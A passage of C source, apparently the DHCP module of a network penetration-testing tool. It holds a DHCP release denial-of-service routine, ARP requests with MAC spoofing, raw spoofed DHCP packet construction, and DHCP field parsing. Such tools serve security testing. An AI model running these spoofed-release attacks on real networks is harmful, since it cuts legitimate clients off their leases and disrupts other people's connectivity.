dhcp_dos_send_release_exit(attacks);*/ } else if (dhcp_send_release(attacks, aux_long1, aux_long, arp_server, arp_mac) < 0) { write_log(0, "Error in dhcp_send_release\n"); dhcp_th_dos_send_release_exit(attacks); } /* Next ip address */ aux_long += htonl(0x01); } dhcp_th_dos_send_release_exit(attacks); } void dhcp_th_dos_send_release_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dhcp_send_arp_request(struct attacks *attacks, u_int32_t ip_dest) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; struct dhcp_data *dhcp_data; char *mac_dest = "\xff\xff\xff\xff\xff\xff"; char *mac_source = "\x00\x00\x00\x00\x00\x00"; /* int8_t *ip_source="\x00\x00\x00\x00";*/ u_int32_t aux_long; dlist_t *p; struct interface_data *iface_data; dhcp_data = attacks->data; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; aux_long = inet_addr(iface_data->ipaddr); t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ ARPOP_REQUEST, /* operation type */ (attacks->mac_spoofing)?dhcp_data->mac_source:iface_data->etheraddr, /* sender hardware address */ (u_int8_t *)&aux_long, /* sender protocol addr */ (u_int8_t *)mac_source, /* target hardware addr */ (u_int8_t *)&ip_dest, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet context */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build arp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ethernet( (u_int8_t *)mac_dest, /* dest mac */ (attacks->mac_spoofing) ? dhcp_data->mac_source : iface_data->etheraddr, /* src mac*/ ETHERTYPE_ARP, /* type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ /* t = libnet_autobuild_ethernet( mac_dest, ethernet destination ETHERTYPE_ARP, protocol type lhandler); libnet handle */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); } return 0; } int8_t dhcp_learn_mac(struct attacks *attacks, u_int32_t ip_dest, u_int8_t *arp_mac) { struct dhcp_data *dhcp_data; struct libnet_ethernet_hdr *ether; int8_t gotit=0; u_int8_t *cursor, rec_packets; struct pcap_data p_data; struct timeval now; struct interface_data *iface_data; dhcp_data = attacks->data; rec_packets = 0; if ((p_data.packet = calloc(1, SNAPLEN)) == NULL) return -1; if ((p_data.header = calloc(1, sizeof(struct pcap_pkthdr))) == NULL) { free(p_data.packet); return -1; } gettimeofday(&now, NULL); p_data.header->ts.tv_sec = now.tv_sec; p_data.header->ts.tv_usec = now.tv_usec; /* Ok, we are waiting for an ARP packet for 5 seconds, and we'll wait * forever (50 ARP packets) for the real packet... */ while ( !attacks->attack_th.stop && !gotit & ( rec_packets < 50 ) ) { rec_packets++; thread_usleep(800000); if ( interfaces_get_packet( attacks->used_ints, NULL, &attacks->attack_th.stop, p_data.header, p_data.packet, PROTO_ARP, 5 ) == NULL ) { write_log(0, "Timeout waiting for an ARP Reply...\n"); break; } if ( ! attacks->attack_th.stop ) { ether = (struct libnet_ethernet_hdr *) p_data.packet; iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list); if ( !memcmp((attacks->mac_spoofing)?dhcp_data->mac_source:iface_data->etheraddr, ether->ether_shost, 6) ) continue; /* Oops!! Its our packet... */ cursor = (u_int8_t *) (p_data.packet + LIBNET_ETH_H); cursor+=14; if ( memcmp( (void *)cursor, (void *)&ip_dest, 4 ) ) continue; memcpy( (void *)arp_mac, (void *)ether->ether_shost, 6 ); write_log(0, " ARP Pillada MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); gotit = 1; } } /* !stop */ free(p_data.packet); free(p_data.header); if ( ! gotit ) return -1; return 0; } int8_t dhcp_send_packet(struct attacks *attacks) { libnet_ptag_t t; int sent; struct dhcp_data *dhcp_data; libnet_t *lhandler; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dhcp_data = attacks->data; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_dhcpv4( dhcp_data->op, /* opcode */ dhcp_data->htype, /* hardware type */ dhcp_data->hlen, /* hardware address length */ dhcp_data->hops, /* hop count */ dhcp_data->xid, /* transaction id */ dhcp_data->secs, /* seconds since bootstrap */ dhcp_data->flags, /* flags */ dhcp_data->ciaddr, /* client ip */ dhcp_data->yiaddr, /* your ip */ dhcp_data->siaddr, /* server ip */ dhcp_data->giaddr, /* gateway ip */ dhcp_data->chaddr, /* client hardware addr */ /* (u_int8_t *)dhcp_data->sname,*/ /* server host name */ NULL, /* server host name */ /* (u_int8_t *)dhcp_data->fname,*/ /* boot file */ NULL, /* boot file */ dhcp_data->options_len?dhcp_data->options:NULL, /* dhcp options stuck in payload since it is dynamic */ dhcp_data->options_len, /* length of options */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build dhcp packet",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_udp( dhcp_data->sport, /* source port */ dhcp_data->dport, /* destination port */ LIBNET_UDP_H + LIBNET_DHCPV4_H + dhcp_data->options_len, /* packet size */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build udp datagram",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + dhcp_data->options_len, /* length */ 0x10, /* TOS */ 0, /* IP ID */ 0, /* IP Frag */ 16, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ dhcp_data->sip, /* src ip */ dhcp_data->dip, /* destination ip */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ipv4 packet",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ethernet( dhcp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? dhcp_data->mac_source : iface_data->etheraddr, /* ethernet source */ ETHERTYPE_IP, NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DHCP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DHCP]++; } return 0; } int8_t dhcp_learn_offer(struct attacks *attacks) { struct dhcp_data *dhcp_data; struct pcap_pkthdr header; struct timeval now; u_int8_t *packet, *dhcp; int8_t got_offer = 0; dhcp_data = attacks->data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; while (!got_offer && !attacks->attack_th.stop) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DHCP, NO_TIMEOUT); if (attacks->attack_th.stop) { free(packet); return -1; } dhcp = (packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H); /* Now we need the SID, yiaddr and the secs */ dhcp_data->secs = (*(u_int16_t *) dhcp + 7); } free(packet); return 0; } /* * Return formated strings of each DHCP field */ char **dhcp_get_printable_packet( struct pcap_data *data ) { struct libnet_ethernet_hdr *ether; u_int8_t *dhcp_data, *udp_data, *ip_data, *ptr; u_int8_t len, i, k, type, end, desc_len; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif char *buffer, *buf_ptr; u_int32_t total_len; char **field_values; buffer = (char *)calloc( 1, 4096 ); if ( ! buffer ) { write_log(0, "Error in calloc\n"); free( buffer ); return NULL; } field_values = (char **)protocol_create_printable(protocols[PROTO_DHCP].nparams, protocols[PROTO_DHCP].parameters); if ( ! field_values ) { write_log(0, "Error in calloc\n"); free( buffer ); return NULL; } /* TODO: Check packet length!! */ ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (u_char *) (data->packet + LIBNET_ETH_H); udp_data = (data->packet + LIBNET_ETH_H + ( ( ( *(data->packet + LIBNET_ETH_H) ) & 0x0F ) * 4 ) ); dhcp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ snprintf(field_values[DHCP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); /* Destination MAC */ snprintf(field_values[DHCP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_dhost[0], ether->ether_dhost[1], ether->ether_dhost[2], ether->ether_dhost[3], ether->ether_dhost[4], ether->ether_dhost[5]); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+12), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_SIP], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip_data+12)), field_values[DHCP_SIP], 16, 0); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+16), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_DIP], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip_data+16)), field_values[DHCP_DIP], 16, 0); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); snprintf(field_values[DHCP_SPORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[DHCP_SPORT], 5, "%hd", ntohs(*(u_int16_t *)udp_data)); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); snprintf(field_values[DHCP_DPORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[DHCP_DPORT], 5, "%hd", ntohs(*(u_int16_t *)(udp_data+2))); #endif /* Op */ snprintf(field_values[DHCP_OP], 3, "%02X", *((u_char *)dhcp_data)); /* htype */ snprintf(field_values[DHCP_HTYPE], 3, "%02X", *((u_char *)dhcp_data+1)); /* hlen */ snprintf(field_values[DHCP_HLEN], 3, "%02X", *((u_char *)dhcp_data+2)); /* hops */ snprintf(field_values[DHCP_HOPS], 3, "%02X", *((u_char *)dhcp_data+3)); /* xid */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(dhcp_data+4),4); snprintf(field_values[DHCP_XID], 9, "%08lX", ntohl(aux_long)); #else snprintf(field_values[DHCP_XID], 9, "%08lX", (u_long) ntohl(*(u_int32_t *)(dhcp_data+4))); #endif /* secs */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+8, 2); snprintf(field_values[DHCP_SECS], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[DHCP_SECS], 5, "%04hX", ntohs(*(u_int16_t *)(dhcp_data+8))); #endif /* flags */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+10, 2); snprintf(field_values[DHCP_FLAGS], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[DHCP_FLAGS], 5, "%04hX", ntohs(*(u_int16_t *)(dhcp_data+10))); #endif /* ciaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+12), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_CIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+12)), field_values[DHCP_CIADDR], 16, 0); #endif /* yiaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+16), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_YIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+16)), field_values[DHCP_YIADDR], 16, 0); #endif /* siaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+20), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_SIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+20)), field_values[DHCP_SIADDR], 16, 0); #endif /* giaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+24), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_GIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+24)), field_values[DHCP_GIADDR], 16, 0); #endif /* chaddr */ snprintf(field_values[DHCP_CHADDR], 18, "%02X:%02X:%02X:%02X:%02X:%02X", *(dhcp_data+28)&0xFF, *(dhcp_data+29)&0xFF, *(dhcp_data+30)&0xFF, *(dhcp_data+31)&0xFF, *(dhcp_data+32)&0xFF, *(dhcp_data+33)&0xFF); /* options */ ptr = dhcp_data + 240; buf_ptr = buffer; total_len = 0; i = 0; end = 0; while( ( !end ) && ( ptr < data->packet + data->header->caplen ) && ( i < MAX_TLV ) ) { if ((ptr+1) > (data->packet + data->header->caplen)) /* Undersized packet !! */ { write_log(0, "Undersized packet!!\n"); free( buffer ); return field_values; } type = (*(u_int8_t *)ptr); len = (*(u_int8_t *)(ptr + 1)); if ( !len && type != LIBNET_DHCP_END ) { write_log(1, "Unsupported option of len '%d' and type '%d'\n", len, type); free( buffer ); return field_values; } if ( len || ( ( type == LIBNET_DHCP_END ) && ( len == 0 ) ) ) { for ( k=0; k < protocols[PROTO_DHCP].extra_nparams; k++ ) { if ( protocols[PROTO_DHCP].extra_parameters[k].id == type ) { desc_len = strlen(protocols[PROTO_DHCP].extra_parameters[k].ldesc); strncpy( buf_ptr, protocols[PROTO_DHCP].extra_parameters[k].ldesc, desc_len ); buf_ptr += desc_len + 1; total_len += desc_len + 1; switch( type ) { case LIBNET_DHCP_END: *buf_ptr = '\0'; buf_ptr++; /* end */ *buf_ptr = '\0'; total_len += 2; end = 1; break; case LIBNET_DHCP_MESSAGETYPE: snprintf(buf_ptr, 3, "%02X", *((u_char *)(ptr+2))); buf_ptr += 3; total_len += 3; break; case LIBNET_DHCP_LEASETIME: case LIBNET_DHCP_RENEWTIME: case LIBNET_DHCP_REBINDTIME: #ifdef LBL_ALIGN memcpy((void *)&aux_long, ptr, 4); snprintf(buf_ptr, 9, "%08lX", ntohl(aux_long)); #else snprintf(buf_ptr, 9, "%08lX", (u_long) ntohl(*(u_int32_t *)(ptr+2))); #endif buf_ptr += 9; total_len += 9; break; case LIBNET_DHCP_SUBNETMASK: case LIBNET_DHCP_SERVIDENT: case LIBNET_DHCP_ROUTER: case LIBNET_DHCP_DNS: case LIBNET_DHCP_DISCOVERADDR: if (parser_get_formated_inet_address(ntohl(*(u_int32_t *)(ptr+2)), buf_ptr, 16) < 0) { *buf_ptr = '\0'; total_len += 1; } else { buf_ptr += 16; total_len += 16; } break; case LIBNET_DHCP_DOMAINNAME: case LIBNET_DHCP_CLASSSID: case LIBNET_DHCP_HOSTNAME: case LIBNET_DHCP_MESSAGE: if (len < MAX_VALUE_LENGTH) { memcpy(buf_ptr, ptr+2, len); buf_ptr += len + 1; total_len += len + 1; } else { memcpy(buf_ptr, ptr+2, MAX_VALUE_LENGTH); buf_ptr += MAX_VALUE_LENGTH + 1; total_len += MAX_VALUE_LENGTH + 1; } break; default: *buf_ptr = '\0'; buf_ptr++; total_len++; break; } break; } /* if... */ } /* for... */ } i++; ptr +=len + 2; } if ( total_len > 0 ) { field_values[DHCP_TLV] = (char *)calloc( 1, total_len ); if ( field_values[DHCP_TLV] ) memcpy((void *)field_values[DHCP_TLV], (void *)buffer, total_len); else write_log(0, "error in calloc\n"); } free( buffer ); return field_values; } int8_t dhcp_load_values(struct pcap_data *data, void *values) { struct libnet_ethernet_hdr *ether; struct dhcp_data *dhcp; u_char *dhcp_data, *ip_data, *udp_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif u_int8_t i, type, len, *ptr; u_int16_t total; dhcp = (struct dhcp_data *)values; ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (u_char *) (data->packet + LIBNET_ETH_H); udp_data = (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4)); dhcp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ memcpy(dhcp->mac_source, ether->ether_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dhcp->mac_dest, ether->ether_dhost, ETHER_ADDR_LEN); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+12),4); dhcp->sip = ntohl(aux_long); #else dhcp->sip = ntohl(*(u_int32_t *)(ip_data+12)); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+16),4); dhcp->dip = ntohl(aux_long); #else dhcp->dip = ntohl(*(u_int32_t *)(ip_data+16)); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); dhcp->sport = ntohs(aux_short); #else dhcp->sport = ntohs(*(u_int16_t *)udp_data); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); dhcp->dport = ntohs(aux_short); #else dhcp->dport = ntohs(*(u_int16_t *)(udp_data+2)); #endif /* Op */ dhcp->op = *((u_char *)dhcp_data); /* Htype */ dhcp->htype = *((u_char *)dhcp_data+1); /* Hlen */ dhcp->hlen = *((u_char *)dhcp_data+2); /* Hops */ dhcp->hops = *((u_char *)dhcp_data+3); /* Xid */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+4, 4); dhcp->xid = ntohs(aux_short); #else dhcp->xid = ntohl(*(u_int32_t *)(dhcp_data+4)); #endif /* Secs */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+8, 2); dhcp->secs = ntohs(aux_short); #else dhcp->secs = ntohs(*(u_int16_t *)(dhcp_data+8)); #endif /* Flags */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+10, 2); dhcp->flags = ntohs(aux_short); #else dhcp->flags = ntohs(*(u_int16_t *)(dhcp_data+10)); #endif /* Ciaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+12, 4); dhcp->ciaddr = ntohs(aux_short); #else dhcp->ciaddr = ntohl(*(u_int32_t *)(dhcp_data+12)); #endif /* Yiaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+16, 4); dhcp->yiaddr = ntohs(aux_short); #else dhcp->yiaddr = ntohl(*(u_int32_t *)(dhcp_data+16)); #endif /* Siaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+20, 4); dhcp->siaddr = ntohs(aux_short); #else dhcp->siaddr = ntohl(*(u_int32_t *)(dhcp_data+20)); #endif /* Giaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+24, 4); dhcp->giaddr = ntohs(aux_short); #else dhcp->giaddr = ntohl(*(u_int32_t *)(dhcp_data+24)); #endif /* Chaddr */ memcpy(dhcp->chaddr, dhcp_data+28, ETHER_ADDR_LEN); ptr = dhcp_data + 240; i = 0; total = 0; /* now the tlv section starts */ while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV) && (total < MAX_TLV*MAX_VALUE_LENGTH)) { if ((ptr+1) > ( data->packet + data->header->caplen)) /* Undersized packet !! */ { write_log(0, "undersized packet\n"); return 0; } type = (*(u_int8_t *)ptr); len = (*(u_int8_t *)(ptr + 1)); /* if ((ptr + len+2) > data->packet + data->header->caplen) { write_log(0, "Oversized packet\n"); return -1; }*/ /* if (!len) return 0;*/ /* * TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if ((type == LIBNET_DHCP_END) || ((len) && (total + len < MAX_TLV*MAX_VALUE_LENGTH))) memcpy((void *)(dhcp->options + total), (void *)ptr, len+2); i++; ptr += len + 2; total += len + 2; } dhcp->options_len = total; return 0; } char ** dhcp_get_printable_store(struct term_node *node) { struct dhcp_data *dhcp; char **field_values; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif u_int8_t *ptr; u_int8_t len, i, k, type, end; char *buffer, *buf_ptr; u_int32_t total_len; buffer = (char *)calloc( 1, 4096 ); /* smac + dmac + sip + dip + sport + dport + op + htype + hlen + hops + * + xid + secs + flags + ciaddr + yiaddr + siaddr + giaddr + chaddr + * null = 19 */ field_values = (char **)protocol_create_printable( protocols[PROTO_DHCP].nparams, protocols[PROTO_DHCP].parameters ); if ( field_values == NULL ) { write_log(0, "Error in calloc\n"); free( buffer ); return NULL; } if (node == NULL) dhcp = protocols[PROTO_DHCP].default_values; else dhcp = (struct dhcp_data *) node->protocol[PROTO_DHCP].tmp_data; /* Source MAC */ snprintf(field_values[DHCP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dhcp->mac_source[0], dhcp->mac_source[1], dhcp->mac_source[2], dhcp->mac_source[3], dhcp->mac_source[4], dhcp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DHCP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dhcp->mac_dest[0], dhcp->mac_dest[1], dhcp->mac_dest[2], dhcp->mac_dest[3], dhcp->mac_dest[4], dhcp->mac_dest[5]); /* Source IP */ parser_get_formated_inet_address(dhcp->sip , field_values[DHCP_SIP], 16); /* Destination IP */ parser_get_formated_inet_address(dhcp->dip , field_values[DHCP_DIP], 16); /* Source port */ snprintf(field_values[DHCP_SPORT], 6, "%05hd", dhcp->sport); /* Destination port */ snprintf(field_values[DHCP_DPORT], 6, "%05hd", dhcp->dport); /* Op */ snprintf(field_values[DHCP_OP], 3, "%02X", dhcp->op); /* Htype */ snprintf(field_values[DHCP_HTYPE], 3, "%02X", dhcp->htype); /* Hlen */ snprintf(field_values[DHCP_HLEN], 3, "%02X", dhcp->hlen); /* Hops */ snprintf(field_values[DHCP_HOPS], 3, "%02X", dhcp->hops); /* Xid */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (void *)&dhcp->xid, 4); snprintf(field_values[DHCP_XID], 9, "%08X", aux_long); #else snprintf(field_values[DHCP_XID], 9, "%08X", dhcp->xid); #endif /* Secs */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, (void *)&dhcp->secs, 2); snprintf(field_values[DHCP_SECS], 5, "%04X", aux_short); #else snprintf(field_values[DHCP_SECS], 5, "%04X", dhcp->secs); #endif /* Flags */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, (void *)&dhcp->flags, 2); snprintf(field_values[DHCP_FLAGS], 5, "%04X", aux_short); #else snprintf(field_values[DHCP_FLAGS], 5, "%04X", dhcp->flags); #endif /* Ciaddr */ parser_get_formated_inet_address(dhcp->ciaddr , field_values[DHCP_CIADDR], 16); /* Yiaddr */ parser_get_formated_inet_address(dhcp->yiaddr , field_values[DHCP_YIADDR], 16); /* Siaddr */ parser_get_formated_inet_address(dhcp->siaddr , field_values[DHCP_SIADDR], 16); /* Giaddr */ parser_get_formated_inet_address(dhcp->giaddr , field_values[DHCP_GIADDR], 16); /* Chaddr */ snprintf(field_values[DHCP_CHADDR], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dhcp->chaddr[0], dhcp->chaddr[1], dhcp->chaddr[2], dhcp->chaddr[3], dhcp->chaddr[4], dhcp->chaddr[5]); /* options */ ptr = dhcp->options; buf_ptr = buffer; total_len = 0; i = 0; end = 0; while((!end) && (ptr < dhcp->options + dhcp->options_len) && (i < MAX_TLV)) { type = (*(u_int8_t *)ptr); len = (*(u_int8_t *)(ptr + 1)); if (len || ((type == LIBNET_DHCP_END) && (len == 0))) { k = 0; while(dhcp_type_desc[k].desc) { if (dhcp_type_desc[k].type == type) { strncpy(buf_ptr, dhcp_type_desc[k].desc, strlen((char *)dhcp_type_desc[k].desc)); buf_ptr += strlen((char *)dhcp_type_desc[k].desc) + 1; total_len += strlen((char *)dhcp_type_desc[k].desc) + 1; switch(type) { case LIBNET_DHCP_END: end = 1; break; case LIBNET_DHCP_MESSAGETYPE: snprintf(buf_ptr, 3, "%02X", *((u_char *)(ptr+2))); buf_ptr += 3; total_len += 3; break; case LIBNET_DHCP_LEASETIME: case LIBNET_DHCP_RENEWTIME: case LIBNET_DHCP_REBINDTIME: #ifdef LBL_ALIGN memcpy((void *)&aux_long, ptr, 4); snprintf(buf_ptr, 9, "%08lX", ntohl(aux_long)); #else snprintf(buf_ptr, 9, "%08lX", (u_long) ntohl(*(u_int32_t *)(ptr+2))); #endif buf_ptr += 9; total_len += 9; break; case LIBNET_DHCP_SUBNETMASK: case LIBNET_DHCP_SERVIDENT: case LIBNET_DHCP_ROUTER: case LIBNET_DHCP_DNS: case LIBNET_DHCP_DISCOVERADDR: parser_get_formated_inet_address(ntohl(*(u_int32_t *)(ptr+2)), buf_ptr, 16); buf_ptr += 16; total_len += 16; break; case LIBNET_DHCP_DOMAINNAME: case LIBNET_DHCP_CLASSSID: case LIBNET_DHCP_HOSTNAME: case LIBNET_DHCP_MESSAGE: if (len < MAX_VALUE_LENGTH) { memcpy(buf_ptr, ptr+2, len); buf_ptr += len + 1; total_len += len + 1; /* dhcp_print->tlv[i].value[len] = '\0';*/ } else { memcpy(buf_ptr, ptr+2, MAX_VALUE_LENGTH-2); buf_ptr += MAX_VALUE_LENGTH + 1; total_len += MAX_VALUE_LENGTH + 1; /* dhcp_print->tlv[i].value[MAX_VALUE_LENGTH-2] = '|'; dhcp_print->tlv[i].value[MAX_VALUE_LENGTH-1] = '\0';*/ } break; default: *buf_ptr = '\0'; buf_ptr++; total_len++; break; } } k++; } } i++; ptr += len + 2; } if ( total_len > 0 ) { field_values[DHCP_TLV] = (char *)calloc( 1, total_len ); if ( field_values[DHCP_TLV] ) memcpy( (void *)field_values[DHCP_TLV], (void *)buffer, total_len ); else write_log(0, "error in calloc\n"); } free( buffer ); return (char **)field_values; } int8_t dhcp_update_field(int8_t state, struct term_node *node, void *value) { struct dhcp_data *dhcp_data; if (node == NULL) dhcp_data = protocols[PROTO_DHCP].default_values; else dhcp_data = node->protocol[PROTO_DHCP].tmp_data; switch(state) { /* Source MAC */ case DHCP_SMAC: memcpy((void *)dhcp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DHCP_DMAC: memcpy((void *)dhcp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Op */ case DHCP_OP: dhcp_data->op = *(u_int8_t *)value; break; /* Htype */ case DHCP_HTYPE: dhcp_data->htype = *(u_int8_t *)value; break; /* Hlen */ case DHCP_HLEN: dhcp_data->hlen = *(u_int8_t *)value; break; /* Hlen */ case DHCP_HOPS: dhcp_data->hops = *(u_int8_t *)value; break; /* Xid */ case DHCP_XID: dhcp_data->xid = *(u_int32_t *)value; break; /* Secs */ case DHCP_SECS: dhcp_data->secs = *(u_int16_t *)value; break; /* Flags */ case DHCP_FLAGS: dhcp_data->flags = *(u_int16_t *)value; break; /* Ciaddr */ case DHCP_CIADDR: dhcp_data->ciaddr = *(u_int32_t *)value; break; /* Yiaddr */ case DHCP_YIADDR: dhcp_data->yiaddr = *(u_int32_t *)value; break; /* Siaddr */ case DHCP_SIADDR: dhcp_data->siaddr = *(u_int32_t *)value; break; /* Giaddr */ case DHCP_GIADDR: dhcp_data->giaddr = *(u_int32_t *)value; break; /* Chaddr */ case DHCP_CHADDR: memcpy((void *)dhcp_data->chaddr, (void *)value, ETHER_ADDR_LEN); break; /* Msg */ /* Options */ /* SPort */ case DHCP_SPORT: dhcp_data->sport = *(u_int16_t *)value; break; /* DPort */ case DHCP_DPORT: dhcp_data->dport = *(u_int16_t *)value; break; /* Source IP */ case DHCP_SIP: dhcp_data->sip = *(u_int32_t *)value; break; case DHCP_DIP: dhcp_data->dip = *(u_int32_t *)value; break; default: break; } return 0; } char * dhcp_get_type_info(u_int16_t type) { u_int8_t i; i = 0; while (dhcp_type_desc[i].desc) { if (dhcp_type_desc[i].type == type) return dhcp_type_desc[i].desc; i++; } return ""; } int8_t dhcp_init_attribs(struct term_node *node) { /* the default is a DHCPDISCOVER packet */ struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = node->protocol[PROTO_DHCP].tmp_data; dhcp_data->op = DHCP_DFL_OPCODE; dhcp_data->htype = DHCP_DFL_HW_TYPE; dhcp_data->hlen = DHCP_DFL_HW_LEN; dhcp_data->hops = DHCP_DFL_HOPS; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->xid, (void *) &lbl32, sizeof(u_int32_t)); dhcp_data->secs = DHCP_DFL_SECS; dhcp_data->flags = DHCP_DFL_FLAGS; dhcp_data->ciaddr = 0; dhcp_data->yiaddr = 0; dhcp_data->giaddr = 0; dhcp_data->siaddr = 0; /* lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->ciaddr, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void 